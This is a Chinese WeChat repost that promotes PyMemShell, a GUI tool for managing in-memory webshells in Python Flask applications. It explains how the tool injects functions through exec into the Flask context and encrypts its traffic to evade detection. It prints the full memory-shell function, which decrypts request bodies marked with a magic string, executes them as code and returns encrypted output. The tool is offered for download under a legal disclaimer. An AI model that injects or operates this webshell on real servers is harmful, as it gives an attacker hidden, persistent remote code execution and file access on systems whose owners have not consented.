免责声明:该公众号分享的安全工具均来源于网络,仅供用户学习和研究使用,如用于其他用途,工具的使用者应自行承担相关法律风险及责任,本公众号与工具的开发者、提供者和维护者不对使用者使用工具的行为和后果负责,工具来自网络,安全性自测,侵权请联系删除。
工具简介
使用说明
启动UI界面(缺啥模块pip一下)
python3
MainUI
.py
获取基础信息
命令执行窗口,多种命令执行模式
虚拟交互终端
有bug,主要是使用python中的subprocess.Popen模块获取输出流的时候并没有获取到完整的命令提示符行。在这个功能里,通过创建子线程以及实现非堵塞的输入输出管道来控制命令输入和回显输出,端口可以终止服务端的子线程。
文件管理器
Payload设计
Payload的写法全部采用了Python自带的模块,区分操作系统。交互连接shell的过程模拟了冰蝎的实现,通过脚本生成内存马函数并通过shell密码来预定义异或key,随机数种子,magic_str
。其中magic_str
用来在提交请求的时候判断是否为连接shell的请求,加解密的实现在RandXor.py
中。
在虚拟终端和文件管理功能中,是将函数写好,在使用之前进行注入,后续的小功能就调用注入的函数。注入(也就是定义)函数的时候需要注意:内存马使用的是exec
来执行代码,每次 exec
的执行会在一个新的局部命名空间内执行代码,也就是注入的函数和后续调用的函数不在同一个命名空间中,所以这里的解决方法是将注入的函数保存在flask应用的上下文中,然后通过exec
执行调用的时候,传递全局命名空间将注入的函数传递进去。
比如下面的例子:shell_func
就是内存马,exec(plaintext, parma)
用来执行Payload,同时在注入内存马的时候也是使用的exec函数,并且将 flask 应用上下文中的一些变量(对象)传递了进来,比如request
url_for.__globals__
current_app
。同时将这些变量(对象)保存到了parma
中,此外添加了resp
用来获得执行结果,然后再执行Payload的时候传递了parma
作为全局命名空间。
def
shell_func
()
:
import
base64
import
random
parma = {
'resp'
:
'Error'
,
'app'
: app,
'gl'
: ulg}
if
'%magic_str%'
in
request.get_data(as_text=
True
):
p_code = request.get_data(as_text=
True
).replace(
'%magic_str%'
,
''
)
ciphertext = base64.b64decode(p_code)
plaintext = bytearray(len(ciphertext))
rkey = %rkey%
key = base64.b64decode(
'%key%'
)
random.seed(rkey)
for
i
in
range(len(ciphertext)):
plaintext[i] = ciphertext[i] ^ (random.randint(
1
, len(ciphertext)) &
0xff
) ^ key[i % len(key)]
plaintext[i] = plaintext[i] ^ rkey
exec(plaintext, parma)
plaintext = str(parma[
'resp'
]).encode(
'utf-8'
)
ciphertext = bytearray(len(plaintext))
random.seed(rkey)
for
i
in
range(len(plaintext)):
ciphertext[i] = plaintext[i] ^ rkey
ciphertext[i] = ciphertext[i] ^ (random.randint(
1
, len(plaintext)) &
0xff
) ^ key[i % len(key)]
parma[
'resp'
] = base64.b64encode(ciphertext).decode(
'utf-8'
)
return
str(parma[
'resp'
])
return
parma[
'resp'
]
文章来源
文章内容来自以下用户
https:
//github.com/orzchen
下载地址
GitHub项目地址:https:
//github.com/orzchen/PyMemShell
原文始发于微信公众号(蛙王工具库):【PyMemShell】Python内存马管理工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论